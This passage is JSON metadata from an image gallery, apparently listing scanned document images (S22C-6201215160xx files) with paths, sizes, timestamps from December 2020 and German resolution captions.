    S22C-620121516020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516020_0001.jpg","width":340,"height":260},"fileSize":267428,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516020_0001.jpg","dates":{"dateTaken":1608392691},"fileDate":"2020-12-19T16:44:51.227Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:51.227Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516021_0001.jpg","image":{"path":"slides\/S22C-620121516021_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516021 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516021_0001.jpg","width":340,"height":260},"fileSize":580901,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516021_0001.jpg","dates":{"dateTaken":1608392692},"fileDate":"2020-12-19T16:44:52.662Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:52.662Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516022_0001.jpg","image":{"path":"slides\/S22C-620121516022_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516022 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516022_0001.jpg","width":340,"height":260},"fileSize":555040,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516022_0001.jpg","dates":{"dateTaken":1608392693},"fileDate":"2020-12-19T16:44:53.814Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:53.814Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516023_0001.jpg","image":{"path":"slides\/S22C-620121516023_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516023 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516023_0001.jpg","width":340,"height":260},"fileSize":467805,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516023_0001.jpg","dates":{"dateTaken":1608392694},"fileDate":"2020-12-19T16:44:54.851Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:54.851Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516030_0001.jpg","image":{"path":"slides\/S22C-620121516030_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516030 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516030_0001.jpg","width":340,"height":260},"fileSize":443075,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516030_0001.jpg","dates":{"dateTaken":1608392697},"fileDate":"2020-12-19T16:44:57.473Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:57.473Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516031_0001.jpg","image":{"path":"slides\/S22C-620121516031_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516031_0001.jpg","width":340,"height":260},"fileSize":343646,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516031_0001.jpg","dates":{"dateTaken":1608392698},"fileDate":"2020-12-19T16:44:58.818Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:58.818Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516032_0001.jpg","image":{"path":"slides\/S22C-620121516032_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516032 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516032_0001.jpg","width":340,"height":260},"fileSize":604113,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516032_0001.jpg","dates":{"dateTaken":1608392699},"fileDate":"2020-12-19T16:44:59.972Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:59.972Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516033_0001.jpg","image":{"path":"slides\/S22C-620121516033_0001.jpg","width":578,"height":800},"imageCaption":"

    S22C-620121516033 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516033_0001.jpg","width":340,"height":260},"fileSize":165721,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121516033_0001.jpg","dates":{"dateTaken":1608392704},"fileDate":"2020-12-19T16:45:04.764Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:04.764Z","resolution":"1535 x 2125"}},{"path":"S22C-620121516034_0001.jpg","image":{"path":"slides\/S22C-620121516034_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516034 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516034_0001.jpg","width":340,"height":260},"fileSize":329519,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516034_0001.jpg","dates":{"dateTaken":1608392707},"fileDate":"2020-12-19T16:45:07.237Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:07.237Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516040_0001.jpg","image":{"path":"slides\/S22C-620121516040_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516040 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516040_0001.jpg","width":340,"height":260},"fileSize":387687,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516040_0001.jpg","dates":{"dateTaken":1608392708},"fileDate":"2020-12-19T16:45:08.643Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:08.643Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516041_0001.jpg","image":{"path":"slides\/S22C-620121516041_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516041_0001.jpg","width":340,"height":260},"fileSize":288306,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516041_0001.jpg","dates":{"dateTaken":1608392709},"fileDate":"2020-12-19T16:45:09.735Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:09.735Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516042_0001.jpg","image":{"path":"slides\/S22C-620121516042_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516042 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516042_0001.jpg","width":340,"height":260},"fileSize":443493,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516042_0001.jpg","dates":{"dateTaken":1608392710},"fileDate":"2020-12-19T16:45:10.860Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:10.860Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516043_0001.jpg","image":{"path":"slides\/S22C-620121516043_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516043 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516043_0001.jpg","width":340,"height":260},"fileSize":294205,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516043_0001.jpg","dates":{"dateTaken":1608392713},"fileDate":"2020-12-19T16:45:13.167Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:13.167Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516052_0001.jpg","image":{"path":"slides\/S22C-620121516052_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516052_0001.jpg","width":340,"height":260},"fileSize":469551,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516052_0001.jpg","dates":{"dateTaken":1608392716},"fileDate":"2020-12-19T16:45:16.711Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:16.711Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516053_0001.jpg","image":{"path":"slides\/S22C-620121516053_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516053 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516053_0001.jpg","width":340,"height":260},"fileSize":484515,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516053_0001.jpg","dates":{"dateTaken":1608392718},"fileDate":"2020-12-19T16:45:18.11Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:18.11Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516060_0001.jpg","image":{"path":"slides\/S22C-620121516060_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516060_0001.jpg","width":340,"height":260},"fileSize":490786,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516060_0001.jpg","dates":{"dateTaken":1608392719},"fileDate":"2020-12-19T16:45:19.150Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:19.150Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516170_0001.jpg","image":{"path":"slides\/S22C-620121516170_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516170 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516170_0001.jpg","width":340,"height":260},"fileSize":380212,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516170_0001.jpg","dates":{"dateTaken":1608392720},"fileDate":"2020-12-19T16:45:20.245Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:20.245Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516180_0001.jpg","image":{"path":"slides\/S22C-620121516180_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516180 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516180_0001.jpg","width":340,"height":260},"fileSize":792644,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516180_0001.jpg","dates":{"dateTaken":1608392722},"fileDate":"2020-12-19T16:45:22.10Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:22.10Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516181_0001.jpg","image":{"path":"slides\/S22C-620121516181_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516181 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516181_0001.jpg","width":340,"height":260},"fileSize":613274,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516181_0001.jpg","dates":{"dateTaken":1608392723},"fileDate":"2020-12-19T16:45:23.605Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:23.605Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516190_0001.jpg","image":{"path":"slides\/S22C-620121516190_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516190 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516190_0001.jpg","width":340,"height":260},"fileSize":398456,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516190_0001.jpg","dates":{"dateTaken":1608392724},"fileDate":"2020-12-19T16:45:24.915Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:24.915Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516191_0001.jpg","image":{"path":"slides\/S22C-620121516191_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516191 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516191_0001.jpg","width":340,"height":260},"fileSize":222811,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516191_0001.jpg","dates":{"dateTaken":1608392725},"fileDate":"2020-12-19T16:45:25.946Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:25.946Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516192_0001.jpg","image":{"path":"slides\/S22C-620121516192_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516192 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516192_0001.jpg","width":340,"height":260},"fileSize":488085,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516192_0001.jpg","dates":{"dateTaken":1608392727},"fileDate":"2020-12-19T16:45:27.67Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:27.67Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516200_0001.jpg","image":{"path":"slides\/S22C-620121516200_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516200 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516200_0001.jpg","width":340,"height":260},"fileSize":478389,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516200_0001.jpg","dates":{"dateTaken":1608392727},"fileDate":"2020-12-19T16:45:27.989Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:27.989Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516201_0001.jpg","image":{"path":"slides\/S22C-620121516201_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516201 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516201_0001.jpg","width":340,"height":260},"fileSize":461571,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516201_0001.jpg","dates":{"dateTaken":1608392730},"fileDate":"2020-12-19T16:45:30.218Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:30.218Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516202_0001.jpg","image":{"path":"slides\/S22C-620121516202_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516202 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516202_0001.jpg","width":340,"height":260},"fileSize":551492,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516202_0001.jpg","dates":{"dateTaken":1608392732},"fileDate":"2020-12-19T16:45:32.242Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:32.242Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516210_0001.jpg","image":{"path":"slides\/S22C-620121516210_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516210 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516210_0001.jpg","width":340,"height":260},"fileSize":294833,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516210_0001.jpg","dates":{"dateTaken":1608392734},"fileDate":"2020-12-19T16:45:34.208Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:34.208Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516211_0001.jpg","image":{"path":"slides\/S22C-620121516211_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516211 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516211_0001.jpg","width":340,"height":260},"fileSize":464695,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516211_0001.jpg","dates":{"dateTaken":1608392736},"fileDate":"2020-12-19T16:45:36.207Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:36.207Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516212_0001.jpg","image":{"path":"slides\/S22C-620121516212_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516212 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516212_0001.jpg","width":340,"height":260},"fileSize":392294,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516212_0001.jpg","dates":{"dateTaken":1608392737},"fileDate":"2020-12-19T16:45:37.928Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:37.928Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516213_0001.jpg","image":{"path":"slides\/S22C-620121516213_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516213 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516213_0001.jpg","width":340,"height":260},"fileSize":464595,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516213_0001.jpg","dates":{"dateTaken":1608392739},"fileDate":"2020-12-19T16:45:39.419Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:39.419Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516220_0001.jpg","image":{"path":"slides\/S22C-620121516220_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516220 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516220_0001.jpg","width":340,"height":260},"fileSize":307921,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516220_0001.jpg","dates":{"dateTaken":1608392740},"fileDate":"2020-12-19T16:45:40.584Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:40.584Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516221_0001.jpg","image":{"path":"slides\/S22C-620121516221_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516221 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516221_0001.jpg","width":340,"height":260},"fileSize":499381,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516221_0001.jpg","dates":{"dateTaken":1608392741},"fileDate":"2020-12-19T16:45:41.856Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:41.856Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516222_0001.jpg","image":{"path":"slides\/S22C-620121516222_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516222 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516222_0001.jpg","width":340,"height":260},"fileSize":692973,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516222_0001.jpg","dates":{"dateTaken":1608392743},"fileDate":"2020-12-19T16:45:43.447Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:43.447Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516223_0001.jpg","image":{"path":"slides\/S22C-620121516223_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516223 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516223_0001.jpg","width":340,"height":260},"fileSize":324416,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516223_0001.jpg","dates":{"dateTaken":1608392744},"fileDate":"2020-12-19T16:45:44.812Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:44.812Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516231_0001.jpg","image":{"path":"slides\/S22C-620121516231_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516231 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516231_0001.jpg","width":340,"height":260},"fileSize":193301,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516231_0001.jpg","dates":{"dateTaken":1608392747},"fileDate":"2020-12-19T16:45:47.145Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:47.145Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516232_0001.jpg","image":{"path":"slides\/S22C-620121516232_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516232 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516232_0001.jpg","width":340,"height":260},"fileSize":473873,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516232_0001.jpg","dates":{"dateTaken":1608392748},"fileDate":"2020-12-19T16:45:48.506Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:48.506Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516233_0001.jpg","image":{"path":"slides\/S22C-620121516233_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516233 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516233_0001.jpg","width":340,"height":260},"fileSize":355850,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516233_0001.jpg","dates":{"dateTaken":1608392750},"fileDate":"2020-12-19T16:45:50.176Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:50.176Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516240_0001.jpg","image":{"path":"slides\/S22C-620121516240_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516240 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516240_0001.jpg","width":340,"height":260},"fileSize":448830,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516240_0001.jpg","dates":{"dateTaken":1608392751},"fileDate":"2020-12-19T16:45:51.571Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:51.571Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516241_0001.jpg","image":{"path":"slides\/S22C-620121516241_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516241 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516241_0001.jpg","width":340,"height":260},"fileSize":382020,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516241_0001.jpg","dates":{"dateTaken":1608392752},"fileDate":"2020-12-19T16:45:52.483Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:52.483Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516242_0001.jpg","image":{"path":"slides\/S22C-620121516242_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516242 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516242_0001.jpg","width":340,"height":260},"fileSize":575994,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516242_0001.jpg","dates":{"dateTaken":1608392753},"fileDate":"2020-12-19T16:45:53.867Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:53.867Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516243_0001.jpg","image":{"path":"slides\/S22C-620121516243_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516243 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516243_0001.jpg","width":340,"height":260},"fileSize":307900,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516243_0001.jpg","dates":{"dateTaken":1608392754},"fileDate":"2020-12-19T16:45:54.895Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:54.895Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516250_0001.jpg","image":{"path":"slides\/S22C-620121516250_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516250 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516250_0001.jpg","width":340,"height":260},"fileSize":440361,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516250_0001.jpg","dates":{"dateTaken":1608392755},"fileDate":"2020-12-19T16:45:55.794Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:55.794Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516251_0001.jpg","image":{"path":"slides\/S22C-620121516251_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516251 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516251_0001.jpg","width":340,"height":260},"fileSize":351688,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516251_0001.jpg","dates":{"dateTaken":1608392756},"fileDate":"2020-12-19T16:45:56.712Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:56.712Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516252_0001.jpg","image":{"path":"slides\/S22C-620121516252_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516252 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516252_0001.jpg","width":340,"height":260},"fileSize":474915,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516252_0001.jpg","dates":{"dateTaken":1608392757},"fileDate":"2020-12-19T16:45:57.653Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:57.653Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516253_0001.jpg","image":{"path":"slides\/S22C-620121516253_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516253 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516253_0001.jpg","width":340,"height":260},"fileSize":473454,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516253_0001.jpg","dates":{"dateTaken":1608392758},"fileDate":"2020-12-19T16:45:58.511Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:58.511Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516254_0001.jpg","image":{"path":"slides\/S22C-620121516254_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516254 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516254_0001.jpg","width":340,"height":260},"fileSize":641012,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516254_0001.jpg","dates":{"dateTaken":1608392759},"fileDate":"2020-12-19T16:45:59.908Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:59.908Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516260_0001.jpg","image":{"path":"slides\/S22C-620121516260_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516260 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516260_0001.jpg","width":340,"height":260},"fileSize":418685,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516260_0001.jpg","dates":{"dateTaken":1608392761},"fileDate":"2020-12-19T16:46:01.141Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:01.141Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516261_0001.jpg","image":{"path":"slides\/S22C-620121516261_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516261 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516261_0001.jpg","width":340,"height":260},"fileSize":345811,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516261_0001.jpg","dates":{"dateTaken":1608392762},"fileDate":"2020-12-19T16:46:02.197Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:02.197Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516263_0001.jpg","image":{"path":"slides\/S22C-620121516263_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516263 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516263_0001.jpg","width":340,"height":260},"fileSize":268385,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516263_0001.jpg","dates":{"dateTaken":1608392764},"fileDate":"2020-12-19T16:46:04.456Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:04.456Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516270_0001.jpg","image":{"path":"slides\/S22C-620121516270_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516270 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516270_0001.jpg","width":340,"height":260},"fileSize":569818,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516270_0001.jpg","dates":{"dateTaken":1608392769},"fileDate":"2020-12-19T16:46:09.329Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:09.329Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516271_0001.jpg","image":{"path":"slides\/S22C-620121516271_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516271 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516271_0001.jpg","width":340,"height":260},"fileSize":330556,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516271_0001.jpg","dates":{"dateTaken":1608392770},"fileDate":"2020-12-19T16:46:10.764Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:10.764Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516272_0001.jpg","image":{"path":"slides\/S22C-620121516272_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516272 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516272_0001.jpg","width":340,"height":260},"fileSize":480835,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516272_0001.jpg","dates":{"dateTaken":1608392771},"fileDate":"2020-12-19T16:46:11.895Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:11.895Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516280_0001.jpg","image":{"path":"slides\/S22C-620121516280_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516280 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516280_0001.jpg","width":340,"height":260},"fileSize":341750,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516280_0001.jpg","dates":{"dateTaken":1608392772},"fileDate":"2020-12-19T16:46:12.894Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:12.894Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516320_0001.jpg","image":{"path":"slides\/S22C-620121516320_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516320 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516320_0001.jpg","width":340,"height":260},"fileSize":594991,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516320_0001.jpg","dates":{"dateTaken":1608392773},"fileDate":"2020-12-19T16:46:13.874Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:13.874Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516321_0001.jpg","image":{"path":"slides\/S22C-620121516321_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516321 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516321_0001.jpg","width":340,"height":260},"fileSize":365284,"photodata":"

